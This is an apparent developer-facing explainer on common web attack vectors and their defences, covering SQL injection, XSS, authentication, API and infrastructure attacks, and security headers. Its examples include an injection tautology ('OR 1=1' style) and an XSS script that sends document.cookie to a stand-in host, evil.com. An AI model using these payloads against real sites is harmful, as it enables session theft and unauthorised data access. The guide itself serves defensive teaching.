Attack Vectors

An attack vector is a path or method that a malicious actor uses to gain unauthorised access to a system, network, or application. Understanding common attack vectors is essential for building secure software.

Common Web Application Attack Vectors

Injection Attacks

SQL Injection

Malicious SQL inserted into queries:

-- Vulnerable query
SELECT * FROM users WHERE email = 'user@example.com' OR '1'='1'

-- Prevention: Use parameterized queries
SELECT * FROM users WHERE email = $1

Cross-Site Scripting (XSS)

Malicious scripts injected into web pages:

<!-- Stored XSS example -->
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

<!-- Prevention: Escape output, use CSP headers -->

Authentication Attacks

Attack	Description	Mitigation
Brute force	Trying many passwords	Rate limiting, lockouts
Credential stuffing	Using leaked credentials	MFA, breach detection
Session hijacking	Stealing session tokens	Secure cookies, HTTPS
Phishing	Fake login pages	User education, MFA

API-Specific Vectors

• Broken authentication: Weak token validation
• Excessive data exposure: Returning more data than needed
• Lack of rate limiting: Enables abuse
• Mass assignment: Accepting unintended parameters
• SSRF: Server-side request forgery

Infrastructure Attack Vectors

• Unpatched software: Known vulnerabilities exploited
• Misconfigured services: Open ports, default credentials
• Supply chain: Compromised dependencies
• Social engineering: Tricking humans, not systems

Defense Strategies

Defense in Depth

Multiple layers of security:

WAF → Load Balancer → Application → Database
     ↓              ↓             ↓
   Block attacks   Auth checks   Encrypted data

Security Headers

Content-Security-Policy: default-src 'self'
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000

What We Recommend

1. Use frameworks: Modern frameworks prevent common vulnerabilities
2. Keep dependencies updated: Automated vulnerability scanning
3. Enable WAF: Block known attack patterns
4. Implement authentication properly: Use proven libraries
5. Regular security audits: Penetration testing, code review
6. Encrypt everything: SSL/TLS for transit, encryption at rest